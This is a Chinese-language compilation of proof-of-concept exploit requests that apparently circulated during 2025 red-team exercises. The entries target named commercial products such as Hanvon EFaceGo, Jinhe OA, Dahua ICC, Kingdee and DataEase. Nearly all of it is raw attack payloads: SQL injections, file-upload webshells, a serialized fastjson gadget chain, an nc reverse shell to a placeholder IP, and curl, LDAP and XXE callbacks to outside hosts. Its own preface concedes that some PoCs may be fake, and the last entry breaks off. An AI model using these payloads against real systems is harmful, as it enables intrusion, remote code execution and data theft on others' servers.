前言：

此文档数据来源为"零漏安全"的无垢师傅以及"棉花糖fans"收集，其中存在大量nday、垃圾洞、以及可能的假poc，文档仅为收集2025hw中流传有poc的漏洞，无poc的漏洞不在本文档，不对文档真实性、有效性负责。

爱数AnyShare爱数云盘start_service远程代码执行

poc

```
POST /api/ServiceAgent/start_service HTTP/1.1
Host:
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 13
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/132.0.0.0 Safari/537.36

["`sleep 6`"]
```


AgentSyste代理商管理系统 login.action Struts2 远程代码执行

poc：

```
POST /login.action HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Firefox/123.0
Content-Type: application/x-www-form-urlencoded

debug=command&expression=%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%
3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess
%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lan
g.Runtime%40getRuntime().exec(%22ls%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStr
eamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%
5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.
HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23g
enxor.close()
```

百易云资管系统imaRead.make.php SQL注入

poc

```
POST /adminx/imaRead.make.php?act=remake HTTP/1.1

feeItem[]=1+AND+updatexml(1,concat(0x7e,md5(12345678)),1)
```

CVE-2025-5777

版本

12.1-12.1-55.328、13.1-58.32、14.1-43.56

poc

```
POST /p/u/doAuthentication.do HTTP/1.0
Host:
User-Agent:
watchTowrwatchTowrwatchTowrwatchTowrwatchTowrwatchTowrwatchTowrwatchTowrwatchTowrwatchTo
wrwatchTowrwatchTowr
Content-Length: 5
Connection: keep-alive

login
```

centos web panel远程代码执行 CVE-2025-48703

poc

```
POST /myuser/index.php?module=filemanager&acc=changePerm HTTP/1.1

fileName=.bashrc&currentPath=/home/linux主机用户名&t_total=`nc xx.xx.xx.xx 18080 -e
/bin/bash`
```

东胜物流 /CommMng/Print/UploadMailFile 任意文件上传

poc

```
POST /CommMng/Print/UploadMailFile HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=————WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 234


————————WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="LoadFile"; filename="1.ashx"
Content-Type: application/octet-stream

12312

————————WebKitFormBoundary7MA4YWxkTrZu0gW--
```

东胜物流 GetBANKList SQL注入

poc

```
POST /MvcShipping/MsBaseInfo/GetBANKList HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Length: 456

strCondition=1'
```


东胜物流 GetDataList_Salary SQL注入

poc

```
POST /TruckMng/MsWlDriver/GetDataList_Salary?
_dc=1665626804091&start=0&limit=30&sort=&condition=1*&page=1 HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Length: 448

strCwSTARTGID=1'
```

东胜物流 /SoftMng/FileInputHandler/Upload 任意文件上传

poc

```
POST /SoftMng/FileInputHandler/Upload HTTP/1.1
Host:
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 211
Content-Type: multipart/form-data; boundary=————WebKitFormBoundaryFfJZ4PlAZBixjELj
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/107.0.0.0 Safari/537.36

——————WebKitFormBoundaryFfJZ4PlAZBixjELj
Content-Disposition: form-data; name="file"; filename="QAZWSX.aspx"
Content-Type: application/octet-stream

123456
——————WebKitFormBoundaryFfJZ4PlAZBixjELj--
```

大华icc /evo-runs/v1.0/receive RCE

poc

```
POST /evo-runs/v1.0/receive HTTP/1.1
Host:
Accept-Encoding: gzip
Connection: keep-alive
Content-Length: 249
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/41.0.2224.3 Safari/537.36
X-Subject-Headerflag: ADAPT

{
  "method": "agent.ossm.mapping.config",
  "info": {
    "configure": "abcd",
    "filePath": "haha",
    "paramMap": {
      "shellPath": "/bin/bash -c df>/opt/evoWpms/static/macvguun.txt",
      "filePath": "abc"
    },
    "requestIp": ""
  }
}
```

大华icc /evo-runs/v1.0/push RCE

poc

```
POST /evo-runs/v1.0/push HTTP/2
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101
Firefox/110.0
Content-Type: application/json
X-Subject-Headerflag: ADAPT
Content-Length: 301

{    "method": "agent.ossm.mapping.config",    "info": {        "configure": "cc",
  "filePath": "cc",        "paramMap": {            "shellPath": "/bin/bash -c
id>/opt/evoWpms/static/cc.txt",            "filePath": "cc"        },
  "requestIp": ""    }}
```

东胜物流软件 WmsZXFeeGridSource.aspx SQL注入

poc

```
/WMS_ZX/WmsZXFeeGridSource.aspx?
areaname=%20%20%20%20%5c%75%30%30%33%31%5c%75%30%30%32%37%5c%75%30%30%36%31%5c%75%30%30%
36%65%5c%75%30%30%36%34%5c%75%30%30%32%30%5c%75%30%30%33%31%5c%75%30%30%33%63%5c%75%30%3
0%34%30%5c%75%30%30%34%30%5c%75%30%30%35%36%5c%75%30%30%34%35%5c%75%30%30%35%32%5c%75%30
%30%35%33%5c%75%30%30%34%39%5c%75%30%30%34%66%5c%75%30%30%34%65%5c%75%30%30%32%64%5c%75%
30%30%32%64%20%20%20%20&read=%20%20%20%20areaname%20%20%20%20
```

飞致云 DataEase Postgresql JDBC Bypass 远程代码执行漏洞 CVE-2025-49001

poc

```
GET /de2api/user/info HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: application/json, text/plain, */*
Connection: close
Host: xx.x.xx.xx
out_auth_platform: default
X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MX0.a5QYOfZDYlhAy-
zUMYzKBBvCUs1ogZhjwKV5SBTECt8
```

飞致云 DataEase Postgresql JDBC Bypass 远程代码执行漏洞 CVE-2025-49002

poc:

```
POST /de2api/datasource/validate HTTP/1.1
Host:
```

```
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua: "Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MX0.a5QYOfZDYlhAy-
zUMYzKBBvCUs1ogZhjwKV5SBTECt8
Accept-Language: zh-CN
Sec-Fetch-Dest: empty
sec-ch-ua-mobile: ?0
Sec-Fetch-Site: same-origin
sec-ch-ua-platform: "Windows"
Content-Type: application/json
Sec-Fetch-Mode: cors
Content-Length: 821

{
    "id": "",
    "name": "11",
    "description": "",
    "type": "h2",
    "apiConfiguration": [],
    "paramsConfiguration": [],
    "enableDataFill": false,
    "configuration":
"eyJkYXRhQmFzZSI6IiIsImpkYmMiOiJqZGJjOmgyOm1lbTp0ZXN0ZGI7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0
zO2luaXQ9UlVuU0NSSVBUIEZST00gJ2h0dHA6Ly95b3VyLXZwczoyMzMzL3BvYy5zcWwnIiwidXJsVHlwZSI6Imp
kYmNVcmwiLCJzc2hUeXBlIjoicGFzc3dvcmQiLCJleHRyYVBhcmFtcyI6IiIsInVzZXJuYW1lIjoiMTIzIiwicGF
zc3dvcmQiOiIxMjMiLCJob3N0IjoiIiwiYXV0aE1ldGhvZCI6IiIsInBvcnQiOjAsImluaXRpYWxQb29sU2l6ZSI
6NSwibWluUG9vbFNpemUiOjUsIm1heFBvb2xTaXplIjo1LCJxdWVyeVRpbWVvdXQiOjMwfQ=="
}
```

福建科立讯通信有限公司 logout.php SQL注入

poc

```
/custom/zx/logout.php?sign=1'+AND+(SELECT+4068+FROM+(SELECT(SLEEP(16)))Vgsc)--+qhh
```

飞塔Authorization SQL注入CVE-2025-25257

poc

```
GET /api/fabric/device/status HTTP/1.1
Host:
Authorization: Bearer AAAAAA'/**/or/**/sleep(5)--/**/-'

GET /cgi-bin/x.cgi HTTP/1.1
User-Agent:ls /
```

华测监测预警系统2.2 sysGroupEdit.aspx SQL注入

poc

```
GET /Web/SysManage/sysGroupEdit.aspx?
id=1%27+UNION+ALL+SELECT+NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CCHAR%28113%29%2BCHAR%28122%2
9%2BCHAR%28112%29%2BCHAR%2898%29%2BCHAR%28113%29%2BCHAR%2889%29%2BCHAR%28118%29%2BCHAR%2
889%29%2BCHAR%2888%29%2BCHAR%28105%29%2BCHAR%28119%29%2BCHAR%2898%29%2BCHAR%28110%29%2BC
HAR%2867%29%2BCHAR%28114%29%2BCHAR%28113%29%2BCHAR%2877%29%2BCHAR%2886%29%2BCHAR%2869%29
%2BCHAR%28118%29%2BCHAR%2885%29%2BCHAR%28120%29%2BCHAR%28104%29%2BCHAR%28111%29%2BCHAR%2
866%29%2BCHAR%2899%29%2BCHAR%2868%29%2BCHAR%2897%29%2BCHAR%2869%29%2BCHAR%28117%29%2BCHA
R%2875%29%2BCHAR%2876%29%2BCHAR%28115%29%2BCHAR%2874%29%2BCHAR%2866%29%2BCHAR%2873%29%2B
CHAR%2888%29%2BCHAR%28120%29%2BCHAR%28113%29%2BCHAR%2877%29%2BCHAR%2876%29%2BCHAR%2880%2
9%2BCHAR%2898%29%2BCHAR%28119%29%2BCHAR%2889%29%2BCHAR%28113%29%2BCHAR%28106%29%2BCHAR%2
8106%29%2BCHAR%28118%29%2BCHAR%28113%29--+wkZw


qzpbqYvYXiwbnCrqMVEvUxhoBcDaEuKLsJBIXxqMLPbwYqjjvq
```

华天动力oa8000存在任意文件读取

poc

```
 /OAapp/jsp/trace_eWebEditor/downloadfortrace.jsp?filePath=c:/windows/win.ini
```

汉王e脸通综合管理平台 firstPeopleOpen/getDoors.do 存在SQL注入

poc

```
GET /manage/intercom/..;/..;/manage/firstPeopleOpen/getDoors.do?
page=1&pageSize=10&order=(UPDATEXML(2920,CONCAT(0x2e,0x71716a7071,(SELECT+
(ELT(2920=2920,1))),0x71706b7671),8357)) HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/120.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*
/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Connection: close
```

汉王queryAlarmEvent.do SQL注入

poc

```
/manage/alarm/queryAlarmEvent.do?order=/**/&columnKey=
(UPDATEXML(2,CONCAT(0x2e,0x3131313131,(SELECT+
(ELT(1=1,1))),0x3131313131),8))&recoToken=ZuZBOrvLG8M
```

汉王queryManyPeopleGroupList.do SQL注入

poc

```
 /manage/authMultiplePeople/queryManyPeopleGroupList.do?
recoToken=67mds2pxXQb&page=1&pageSize=10&order=
(UPDATEXML(2920,CONCAT(0x7e,@@version,0x7e,(SELECT+(ELT(123=123,1)))),8357))
```

汉王e脸通getGroupEmployee.do SQL注入

poc

```
 /manage/authMultiplePeople/getGroupEmployee.do?
recoToken=67mds2pxXQb&page=1&pageSize=10&groupId=1&order=
(UPDATEXML(2920,CONCAT(0x7e,@@version,0x7e,(SELECT+(ELT(123=123,1)))),8357))
```

汉王EFaceGo upload.do 任意文件上传

poc

```
POST /manage/intercom/..%3B/..%3B/manage/resourceUpload/upload.do HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryabcxyzqw
Content-Length: XXX

------WebKitFormBoundaryabcxyzqw
Content-Disposition: form-data; name="file"; filename="testaa.jsp"
Content-Type: image/jpeg

<% out.println("asdfqwerzxcvbnmlkjhgtyuipoiuytre"); new
java.io.File(application.getRealPath(request.getServletPath())).delete(); %>
------WebKitFormBoundaryabcxyzqw--
```

汉王e脸通 addVisitDeviceAppointmentInfoTest.do fastjson反序列化RCE

poc

```
POST /manage/visitorDeviceInteraction/addVisitDeviceAppointmentInfoTest.do?
recoToken=SGUsqvF7cVS HTTP/1.1
Host: xxxx.com
cmd: whoami
Content-Type: application/json
```

```
{"e":
{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},
"f":
{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"
HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E4861736853657 4BA44859596B8B734
0300007870770C000000103F400000000000027372002A6F72672E6170616368652E636F6D6D6F6E732E636F
6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F72797400
2C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D6572
3B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F
72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B
4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E
672F537472696E673B5B000B69506172616D5479706573740012 5B4C6A6176612F6C616E672F436C6173733B
787070740013676574 4F757470757450726F7065727469657370737200116A6176612E7574696C2E48617368
4D61700507DAC1C31660D103000246000A6C6F6164466163746F7249000974687265736 86F6C6478703F4000
000000000C770800000010000000017371007E000B3F400000000000C770800000010000000017372003A63
6F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E
54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F
7472616E736C6574496E6465785B000A5F627974656361646573740003 5B5B425B00065F636C61737371007E
00084C00055F6E616D6571007E00074C00115F6F757470757450726F7065727469657374001 64C6A6176612F
7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000
7870000000017572000 25B42ACF317F8060854E0020000787000000DCFCAFEBABE0000003400CD0A0014005F
0900330060090033006107006 20A0004005F09003300630A006400650A003300660A000400670A000400680A
0033006907006A0A0014006B0A0012006C08006D0B000C006E08006F0700700A0012007107007 20A00730074
0700750700760700770800780A0079007A0A0018007B08007C0A0018007D08007E08007F0800800B00160081
0700820A008300840A008300850A008600870A0022008800800890A0022008A0A0022008B0A008C008D0A008C
008E0A0012008F0A009000910A009000920A00120093 0A0033009407009 50A0012009607009701000168010 0
134C6A6176612F7574696C2F4861736853657 43B0100095369676E617475726501002 74C6A6176612F757469
6C2F4861736853657 43C4C6A6176612F6C616E672F4F626A6563743B3E3B0100017201002 74C6A617661782F
736572766C65742F687474702F4874747053657 2766C6574526571756573743B0100017001002 84C6A617661
782F736572766C65742F687474702F4874747053657 2766C6574526573706F6E73653B0100063C696E69743E
0100032829560100044436F646501000F4C696E654E756D626572546162 6C650100124C6F63616C5661726961
626C655461626C6501000474686973010020 4C79736F73657269616C2F7061796C6F6164732F436F6D6D6F6E
4563686F313B0100016901001528 4C6A6176612F6C616E672F4F626A6563743B295A0100036F626A0100124C
6A6176612F6C616E672F4F626A6563743B01000D537461636B4D61705461626C6501001628 4C6A6176612F6C
616E672F4F626A6563743B4929560100016501001 54C6A6176612F6C616E672F457863657074696F6E3B0100
08636F6D6D616E64730100135B4C6A6176612F6C616E672F537472696E673B0100016F010005646570746801
0001490700760700 4C0700720100014601000171010 00D6465636C617265644669656C640100194C6A617661
2F6C616E672F7265666C6563742F4669656C643B0100057374617274010001 6E0100114C6A6176612F6C616E
672F436C6173733B0700700700980700990100 0A536F7572636546696C65010010436F6D6D6F6E4563686F31
2E6A6176610C003C003D0C003800390C003A003B0100116A6176612F7574696C2F486173685365740C003400
3507009A0C009B009C0C005300480C009D00440C009E00440C00430044010025 6A617661782F736572766C65
742F687474702F4874747053657 2766C6574526571756573740C009F00A00C00A100A2010003636D640C00A3
00A401000B676574526573706F6E736501000F6A6176612F6C616E672F436C6173730C00A500A60100106A61
76612F6C616E672F4F626A6563740700A70C00A800A90100266A617661782F736572766C65742F687474702F
4874747053657 2766C6574526573706F6E73650100136A6176612F6C616E672F457863657074696F6E010010
6A6176612F6C616E672F537472696E670100076F732E6E616D650700AA0C00AB00A40C00AC00AD0100035749
4E0C009D00AE0100022F630100072F62696E2F73680100022D630C00AF00B00100116A6176612F7574696C2F
5363616E6E65720700B10C00B200B30C00B400B50700B60C00B700B80C003C00B90100025C410C00BA00BB0C
00BC00AD0700BD0C00BE00BF0C00C0003D0C00C100C20700990C00C300C40C00C500C60C00C700C80C003A00
480100135B4C6A6176612F6C616E672F4F626A6563743B0C00C900A001001E79736F73657269616C2F706179
6C6F6164732F436F6D6D6F6E4563686F3101001A5B4C6A6176612F6C616E672F7265666C6563742F4669656C
643B0100176A6176612F6C616E672F7265666C6563742F4669656C640100106A6176612F6C616E672F546872
65616401000D63757272656E7454687265616401001428294C6A6176612F6C616E672F5468726561643B0100
08636F6E7461696E7301000361646401000867657 4436C617373010013282 94C6A6176612F6C616E672F436C
6173733B0100106973741737369676E61626C6546726F6D010014284C6A6176612F6C616E672F436C6173733B
295A0100096765744865616465720100 26284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C
616E672F537472696E673B0100096765744D6574686F6401004028 4C6A6176612F6C616E672F537472696E67
3B5B4C6A6176612F6C616E672F436C6173733B294C6A6176612F6C616E672F7265666C6563742F4D6574686F
```

```
643B0100186A6176612F6C616E672F7265666C6563742F4D6574686F64010006696E766F6B65010039284C6A
6176612F6C616E672F4F626A6563743B5B4C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C61
6E672F4F626A6563743B0100106A6176612F6C616E672F53797374656D01000B67657450726F706572747901
000B746F5570706572436173650100142829 4C6A6176612F6C616E672F537472696E673B01001B284C6A6176
612F6C616E672F436861725365717565 6E63653B295A0100096765745772697465720100172829 4C6A617661
2F696F2F5072696E74577269746572 3B0100116A6176612F6C616E672F52756E74696D6501000A6765745275
6E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0100046578656301002828 5B4C6A61
76612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0100116A6176612F6C
616E672F50726F6365737301000E676574496E70757453747265616D01001728294C6A6176612F696F2F496E
70757453747265616D3B01001828 4C6A6176612F696F2F496E70757453747265616D3B295601000C75736544
656C696D6974657201002728 4C6A6176612F6C616E672F537472696E673B294C6A6176612F7574696C2F5363
616E6E65723B0100046E6578740100136A6176612F696F2F5072696E74577269746572010007707269 6E746C
6E01001528 4C6A6176612F6C616E672F537472696E673B2956010005666C75736801001167657444656361
726564466965 6C647301001C28295B4C6A6176612F6C616E672F7265666C6563742F4669656C643B01000D73
657441636365737369626C65010004285A2956010003676574010026284C6A6176612F6C616E672F4F626A65
63743B294C6A6176612F6C616E672F4F626A6563743B0100076973417272617901000328295A01000D676574
5375706572636C61737301004063 6F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E
616C2F78736C74632F72756E74696D652F4162737472616374 5472616E736C65740700CA0A00CB005F002100
3300CB0000003000800340035000100360000000200370008003800390000000 8003A003B00000004000100
3C003D0001003E0000005C000200010000001E2AB700CC01B3000201B30003BB000459B70005B30006B80007
03B80008B100000002003F0000001A000600000014000400150008001600 0C00170016001800 1D0019004000
00000C00010000001E00410042000000 0A00430044000 1003E0000005A000200010000001A2AC6000DB20006
2AB6000999000504ACB200062AB6000A5703AC00000003003F000000120004000000 1D000E001E0010002100
1800220040000000 0C00010000001A00450046000000470000000400020E01000A003A00480001003E000001
D300050003000000EF1B1034A3000FB20002C6000AB20003C60004B12AB8000B9A00D7B20002C70051120C2A
B6000DB6000E9900452AC0000CB30002B20002120FB900100200C7000A01B30002A7002AB20002B6000D1211
03BD0012B60013B2000203BD0014B60015C00016B30003A700084D01B30002B20002C60076B20003C6007006
BD00184D1219B8001AB6001B121CB6001D9900102C03120F532C04121E53A7000D2C03121F532C041220532C
05B20002120FB90010020053B20003B900210100BB002259B800232CB60024B60025B700261227B60028B600
29B6002AB20003B900210100B6002BA700044DB12A1B0460B80008B1000200470066006900 17007A00E200E5
00170003003F0000006A001A0000002500120026001300 28001A0029002C002A0033002B0040002C0047002F
006600330069003 1006A0032006E0037007A003A007F003B008F003C0094003D009C003F00A1004000A60042
00B3004400D7004500E2004700E5004600E6004800E7004B00EE004D00400000002A0004006A00400049004A
0002007F0063004B004C0002000000EF004D00460000000000EF004E004F000100470000002200 0B12003361
07005004FC002D07005109FF003E000207005201000107005000000 6000A005300480001003E000001580002
000C000000842AB6000D4D2CB6002C4E2DBE360403360515051504A200652D1505323A06190604B6002D013A
0719062AB6002E3A071907B6000DB6002F9A000C19071BB80030A7002F1907C00031C000313A081908BE3609
03360A150A1509A20016190815 0A323A0B190B1BB80030840A01A7FFE9A700053A08840501A7FF9A2CB60032
594DC7FF85B100010027006F00720017000 3003F0000004200100000005000050052001E0053002400540027
0056002F0058003A00590043005B0063005C0069005B006F0062007200610074005 2007A0065007B00660083
006800400000003E0006006300600540046000B0027004D004D00460007001E005600550056000600000084
0057004600000000084004E004F00010005007F0058005900020047000000 2E0008FC000507005AFE000B07
005B0101FD003107005C070052FE00110700310101F8001942070050F90001F800050001005D00000002005E
70740001617077010078740001787873720011 6A6176612E6C616E672E496E746567657212E2A0A4F7818738
0200014900057661 6C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B0200007870
0000000787871007E000D78;"}}
```

汉王getValidEmpForGroup.do SQL注入

poc

```
 /manage/authMultiplePeople/getValidEmpForGroup.do?
recoToken=67mds2pxXQb&page=1&pageSize=10&order=
(UPDATEXML(2920,CONCAT(0x7e,md5(123456),0x7e,(SELECT+(ELT(123=123,1)))),8357))
```

汉王e脸通综合管理平台 imgDownload.do 任意文件读取

poc

```
 /manage/resourceUpload/imgDownload.do?filePath=/manage/WEB-
INF/web.xml&recoToken=SGUsqvF7cVS
```

汉王e脸通综合管理平台 queryAntisubmarineList.do 存在SQL注入

poc

```
GET /manage/antisubmarine/queryAntisubmarineList.do?
recoToken=67mds2pxXQb&page=1&pageSize=10&order=
(UPDATEXML(2920,CONCAT(0x7e,md5(123456),0x7e,(SELECT+(ELT(123=123,1)))),8357)) HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
```

汉王EFaceGo updateVisitorMapConfig.do任意文件上传

poc

```
POST /manage/visitorMapConfig/updateVisitorMapConfig.do?recoToken=SGUsqvF7cVS HTTP/1.1

{"id":1,"mapName":"25bdaf","fileType":"jsp","updatedPhoto":"PCUgb3V0LnByaW50bG4oInBib31q
b,5yZmlwbXBsc3VrZGVjenVkc2VmeG15d2UiKTsgbmV3IGphdmEuaW8uRmlsZShhcHBsaWNhdGlvbi5nZXRSZWFs
UGF0aChyZXF1ZXN0LmdldFN1cnZsZXBQYXRoKCkpKS5kZWxldGUoKTsgJT4"}
```

汉王EFaceGo monadFileUpload.do 任意文件上传

poc

```
POST /manage/leaveList/monadFileUpload.do?recoToken=67mds2pxXQb&type HTTP/1.1
Content-Type: multipart/form-data; boundary=————WebKitFormBundaryFfJZ4P1AZBixjELj

————WebKitFormBundaryFfJZ4P1AZBixjELj
Content-Disposition: form-data; name="file"; filename="ncbegw.jsp"
Content-Type: image/jpeg

<% out.println("pboyjnnrfipmplsukdeczudsefxmywe"); new
java.io.File(application.getRealPath(request.getServletPath())).delete(); %>
————WebKitFormBundaryFfJZ4P1AZBixjELj
```

汉王e脸通综合管理平台 uploadBlackListFile.do 任意文件上传

poc

```
POST /manage/mobiVist/..%3B/systemBlackList/uploadBlackListFile.do HTTP/1.1

------WebKitFormBunddaryFfJZ4P1AZBixjELj
Content-Disposition: form-data; name="file"; filename="123.jsp"
Content-Type: image/jpeg

<% java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a =
-1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))≠-1)
{out.println(new String(b,0,a));}out.print("</pre>");new
java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBunddaryFfJZ4P1AZBixjELj
```

汉王e脸通综合管理平台 queryDoorInfoList.do SQL注入

poc

```
 /manage/dgmCommand/finishRegister.do/..;/..;/doorInfo/queryDoorInfoList.du?
page=1&pageSize=10&order=(UPDATEXML(2920,CONCAT(0x2e,0x71716a7071,(SELECT+
(ELT(2920=2920,1))),0x71706b7671),8357))
```

金和OA SQL注入漏洞

poc:

```
 /C6/JHSoft.Web.DailyTaskManage/TaskTreeJSON.aspx/?
id=1%27+union+all+select+null%2C%28select+@@VERSION%29%2Cnull%2Cnull%2Cnull%2Cnull%2Cnul
l%2Cnull%2Cnull--+
```

金蝶EAS autoLogin.jsp远程代码执行

poc

```
POST /easportal/autoLogin.jsp HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/61.0.3163.100 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,ap
plication/signed-exchange;v=b3
Content-Type: application/x-www-form-urlencoded
Host:
Content-Length: 312
Connection: keep-alive

defaultPage=/autoLogin.jsp?defaultPage=/BIReport&json=1);var cc=new Array('/bin/sh', '-
c', 'curl
http://{{jindie.dns.adysec.com}}/Q12345');java.lang.Runtime.getRuntime().exec(cc);//
```

金蝶Apusic应用服务器loadTree-JNDI注入漏洞

poc

```
POST /appmonitor/protect/jndi/loadTree HTTP/1.1
Host: your_ip
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/120.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*
/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 55

jndiName=ldap://***.**.**.***/Basic/Command/calc
```

金和OA-C6系统ActionDataSet接口XXE

poc

```
POST /jc6/servlet/ActionDataSet HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*
/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Content-Type: application/xml
Accept-Language: zh-CN,zh;q=0.9
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://xxxx.dnslog.cn"> %remote;]>
```

金和OA AddTask SQL注入

poc

```
POST /c6/Jhsoft.Web.dailytaskmanage/AddTask.aspx/ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/xml
Connection: close

<root>
  <Page>
    <PageName>TaskDetect</PageName>
  </Page>
  <StartTime>2023-01-01 00:00:00</StartTime>
  <EndTime>2023-01-01 00:00:00</EndTime>
  <TaskExecutorID>3');WAITFOR DELAY'0:0:5'-- </TaskExecutorID>
</root>
```

金和OA TaskReportConfirm.aspx SQL注入

poc

```
POST /c6/Jhsoft.Web.dailytaskmanage/TaskReportConfirm.aspx/ HTTP/1.1
Host: xxxx.com
Content-Type: application/x-www-form-urlencoded

__EVENTTARGET=xxxx&__EVENTARGUMENT=&__VIEWSTATE=xxxx&txtTaskReportExplain=&chkCallViewer
s=on&hidReportID=0&__VIEWSTATEGENERATOR=xxxxx&id='WAitFor DelaY'0:0:5'--
```

JeecgBoot getTotalData任意用户密码重置

poc

```
POST /jeecg-boot/drag/onlDragDatasetHead/getTotalData HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

{"tableName": "sys_user", "compName": "test", "condition": {"filter": {}}, "config":
{"assistValue": [], "assistType": [], "name": [{"fieldName": "username,password,salt",
"fieldType": "string"}, {"fieldName": "id", "fieldType": "string"}], "value":
[{"fieldName": "id", "fieldType": "string"}], "type": []}}
```

金蝶云星空 DynamicFormService.CloseForm.common.kdsvc 远程代码执行

poc

```
POST
